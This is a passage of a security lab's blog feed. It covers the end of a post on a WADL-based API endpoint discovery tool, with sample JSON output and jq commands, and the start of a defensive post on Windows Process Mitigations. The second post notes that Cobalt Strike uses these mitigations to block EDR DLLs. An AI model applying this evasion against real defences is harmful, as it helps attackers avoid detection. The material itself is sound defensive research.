&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;method&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:8000/users&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status_code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;reason&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_time&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.006547&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_size&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;48&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_body&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Fetched users&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;filter&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test_role&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;method&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:8000/users&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status_code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;reason&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_time&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.004864&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_size&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;54&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_body&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;User created&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test_body&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;method&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PUT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:8000/users/123&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status_code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;reason&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_time&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.003647&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_size&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;66&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;response_body&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;User updated&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;123&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updated&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test_body&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can then use &lt;code&gt;jq&lt;/code&gt; to filter results and obtain only successful API requests:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Pull out full info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jq &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;[.[] | select(.status_code == 200).url]&amp;#39;&lt;/span&gt; output.json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Pull out URLs only&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jq &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;[.[] | select(.status_code == 200).url]&amp;#39;&lt;/span&gt; output.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;closing&#34;&gt;Closing&lt;/h1&gt;
&lt;p&gt;WADL files are valuable pieces of enticement information that can provide details on API endpoints without fuzzing. Using The WADLer, you can quickly identify interesting API endpoints and endpoints lacking authentication.&lt;/p&gt;
&lt;p&gt;Source code for The WADLer can be found &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/WADLer&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Defensive Applications of Windows Process Mitigations</title>
      <link>https://labs.sra.io/posts/processmitigations/</link>
      <pubDate>Tue, 16 Jun 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/processmitigations/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference&#34; target=&#34;_blank&#34;&gt;Process Mitigations&lt;/a&gt; are a Windows feature that enables exploit mitigations on either a per-process or system-wide basis. This post explores our research into potential defensive applications of Process Mitigations to prevent commodity attack techniques as well the limitations of the control.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;how-do-they-work&#34;&gt;How do they work?&lt;/h1&gt;
&lt;p&gt;Process Mitigations provide the following protections (click to expand):&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;&lt;b&gt;System-wide&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;Description&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Control flow guard (CFG)&lt;/td&gt;
          &lt;td&gt;Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Data Execution Prevention (DEP)&lt;/td&gt;
          &lt;td&gt;Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Force randomization for images (Mandatory ASLR)&lt;/td&gt;
          &lt;td&gt;Forcibly relocates images not compiled with /DYNAMICBASE. Can optionally fail loading images that don&amp;rsquo;t have relocation information.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Randomize memory allocations (Bottom-Up ASLR)&lt;/td&gt;
          &lt;td&gt;Randomizes locations for virtual memory allocations. It includes system structure heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate exception chains (SEHOP)&lt;/td&gt;
          &lt;td&gt;Ensures the integrity of an exception chain during exception dispatches. Only configurable for 32-bit (x86) applications.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate heap integrity&lt;/td&gt;
          &lt;td&gt;Terminates a process when heap corruption is detected.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;details&gt;
&lt;summary&gt;&lt;b&gt;Per-process&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;Description&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Control flow guard (CFG)&lt;/td&gt;
          &lt;td&gt;Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Data Execution Prevention (DEP)&lt;/td&gt;
          &lt;td&gt;Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Force randomization for images (Mandatory ASLR)&lt;/td&gt;
          &lt;td&gt;Forcibly relocates images not compiled with /DYNAMICBASE. Can optionally fail loading images that don&amp;rsquo;t have relocation information.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Randomize memory allocations (Bottom-Up ASLR)&lt;/td&gt;
          &lt;td&gt;Randomizes locations for virtual memory allocations. It includes system structure heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate exception chains (SEHOP)&lt;/td&gt;
          &lt;td&gt;Ensures the integrity of an exception chain during exception dispatches. Only configurable for 32-bit (x86) applications.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate heap integrity&lt;/td&gt;
          &lt;td&gt;Terminates a process when heap corruption is detected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Arbitrary code guard (ACG)&lt;/td&gt;
          &lt;td&gt;Prevents the introduction of non-image-backed executable code and prevents code pages from being modified. Can optionally allow thread opt-out and allow remote downgrade (configurable only with PowerShell).&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Block low integrity images&lt;/td&gt;
          &lt;td&gt;Prevents the loading of images marked with Low Integrity.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Block remote images&lt;/td&gt;
          &lt;td&gt;Prevents loading of images from remote devices.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Block untrusted fonts&lt;/td&gt;
          &lt;td&gt;Prevents loading any GDI-based fonts not installed in the system fonts directory, notably fonts from the web.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Code integrity guard&lt;/td&gt;
          &lt;td&gt;Restricts loading of images signed by Microsoft, WHQL, or higher. Can optionally allow Microsoft Store signed images.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Disable extension points&lt;/td&gt;
          &lt;td&gt;Disables various extensibility mechanisms that allow DLL injection into all processes, such as AppInit DLLs, window hooks, and Winsock service providers.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Disable Win32k system calls&lt;/td&gt;
          &lt;td&gt;Prevents an app from using the Win32k system call table.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Don&amp;rsquo;t allow child processes&lt;/td&gt;
          &lt;td&gt;Prevents an app from creating child processes.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Export address filtering (EAF)&lt;/td&gt;
          &lt;td&gt;Detects dangerous operations that are resolved by malicious code. Can optionally validate access by modules commonly used by exploits.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Import address filtering (IAF)&lt;/td&gt;
          &lt;td&gt;Detects dangerous operations that are resolved by a malicious code.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Simulate execution (SimExec)&lt;/td&gt;
          &lt;td&gt;Ensures that calls to sensitive APIs return to legitimate callers. Only configurable for 32-bit (x86) applications. Not compatible with ACG.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate API invocation (CallerCheck)&lt;/td&gt;
          &lt;td&gt;Ensures that legitimate callers invoke sensitive APIs. Only configurable for 32-bit (x86) applications. Not compatible with ACG&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate handle usage&lt;/td&gt;
          &lt;td&gt;Causes an exception to be raised on any invalid handle references.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate image dependency integrity&lt;/td&gt;
          &lt;td&gt;Enforces code signing for Windows image dependency loading.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate stack integrity (StackPivot)&lt;/td&gt;
          &lt;td&gt;Ensures that the stack hasn&amp;rsquo;t been redirected for sensitive APIs. Not compatible with ACG.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;p&gt;&lt;em&gt;Source: &lt;a href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/customize-exploit-protection&#34; target=&#34;_blank&#34;&gt;Microsoft&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description>
      <content>&lt;p&gt;&lt;a href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference&#34; target=&#34;_blank&#34;&gt;Process Mitigations&lt;/a&gt; are a Windows feature that enables exploit mitigations on either a per-process or system-wide basis. This post explores our research into potential defensive applications of Process Mitigations to prevent commodity attack techniques as well the limitations of the control.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;how-do-they-work&#34;&gt;How do they work?&lt;/h1&gt;
&lt;p&gt;Process Mitigations provide the following protections (click to expand):&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;&lt;b&gt;System-wide&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;Description&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Control flow guard (CFG)&lt;/td&gt;
          &lt;td&gt;Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Data Execution Prevention (DEP)&lt;/td&gt;
          &lt;td&gt;Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Force randomization for images (Mandatory ASLR)&lt;/td&gt;
          &lt;td&gt;Forcibly relocates images not compiled with /DYNAMICBASE. Can optionally fail loading images that don&amp;rsquo;t have relocation information.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Randomize memory allocations (Bottom-Up ASLR)&lt;/td&gt;
          &lt;td&gt;Randomizes locations for virtual memory allocations. It includes system structure heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate exception chains (SEHOP)&lt;/td&gt;
          &lt;td&gt;Ensures the integrity of an exception chain during exception dispatches. Only configurable for 32-bit (x86) applications.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate heap integrity&lt;/td&gt;
          &lt;td&gt;Terminates a process when heap corruption is detected.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;details&gt;
&lt;summary&gt;&lt;b&gt;Per-process&lt;/b&gt;&lt;/summary&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;Description&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Control flow guard (CFG)&lt;/td&gt;
          &lt;td&gt;Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Data Execution Prevention (DEP)&lt;/td&gt;
          &lt;td&gt;Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Force randomization for images (Mandatory ASLR)&lt;/td&gt;
          &lt;td&gt;Forcibly relocates images not compiled with /DYNAMICBASE. Can optionally fail loading images that don&amp;rsquo;t have relocation information.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Randomize memory allocations (Bottom-Up ASLR)&lt;/td&gt;
          &lt;td&gt;Randomizes locations for virtual memory allocations. It includes system structure heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate exception chains (SEHOP)&lt;/td&gt;
          &lt;td&gt;Ensures the integrity of an exception chain during exception dispatches. Only configurable for 32-bit (x86) applications.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate heap integrity&lt;/td&gt;
          &lt;td&gt;Terminates a process when heap corruption is detected.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Arbitrary code guard (ACG)&lt;/td&gt;
          &lt;td&gt;Prevents the introduction of non-image-backed executable code and prevents code pages from being modified. Can optionally allow thread opt-out and allow remote downgrade (configurable only with PowerShell).&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Block low integrity images&lt;/td&gt;
          &lt;td&gt;Prevents the loading of images marked with Low Integrity.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Block remote images&lt;/td&gt;
          &lt;td&gt;Prevents loading of images from remote devices.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Block untrusted fonts&lt;/td&gt;
          &lt;td&gt;Prevents loading any GDI-based fonts not installed in the system fonts directory, notably fonts from the web.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Code integrity guard&lt;/td&gt;
          &lt;td&gt;Restricts loading of images signed by Microsoft, WHQL, or higher. Can optionally allow Microsoft Store signed images.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Disable extension points&lt;/td&gt;
          &lt;td&gt;Disables various extensibility mechanisms that allow DLL injection into all processes, such as AppInit DLLs, window hooks, and Winsock service providers.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Disable Win32k system calls&lt;/td&gt;
          &lt;td&gt;Prevents an app from using the Win32k system call table.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Don&amp;rsquo;t allow child processes&lt;/td&gt;
          &lt;td&gt;Prevents an app from creating child processes.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Export address filtering (EAF)&lt;/td&gt;
          &lt;td&gt;Detects dangerous operations that are resolved by malicious code. Can optionally validate access by modules commonly used by exploits.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Import address filtering (IAF)&lt;/td&gt;
          &lt;td&gt;Detects dangerous operations that are resolved by a malicious code.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Simulate execution (SimExec)&lt;/td&gt;
          &lt;td&gt;Ensures that calls to sensitive APIs return to legitimate callers. Only configurable for 32-bit (x86) applications. Not compatible with ACG.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate API invocation (CallerCheck)&lt;/td&gt;
          &lt;td&gt;Ensures that legitimate callers invoke sensitive APIs. Only configurable for 32-bit (x86) applications. Not compatible with ACG&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate handle usage&lt;/td&gt;
          &lt;td&gt;Causes an exception to be raised on any invalid handle references.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate image dependency integrity&lt;/td&gt;
          &lt;td&gt;Enforces code signing for Windows image dependency loading.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Validate stack integrity (StackPivot)&lt;/td&gt;
          &lt;td&gt;Ensures that the stack hasn&amp;rsquo;t been redirected for sensitive APIs. Not compatible with ACG.&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;p&gt;&lt;em&gt;Source: &lt;a href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/customize-exploit-protection&#34; target=&#34;_blank&#34;&gt;Microsoft&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Likely one of the most well-known applications of Process Mitigations is Cobalt Strike&amp;rsquo;s &lt;a href=&#34;https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/post-exploitation_blocking-dlls-child-processes.htm&#34; target=&#34;_blank&#34;&gt;blockdll&lt;/a&gt; feature. This configures the C2 implant to spawn child processes with a Process Mitigation that prevents loading non-Microsoft DLLs, which notably prevents loading EDR-related DLLs that are not cross-signed by Microsoft (see &lt;a href=&#34;https://blog.xpnsec.com/protecting-your-malware/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt; and &lt;a href=&#34;https://www.orangecyberdefense.com/global/blog/cybersecurity/fairy-law&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt; for more details).&lt;/p&gt;
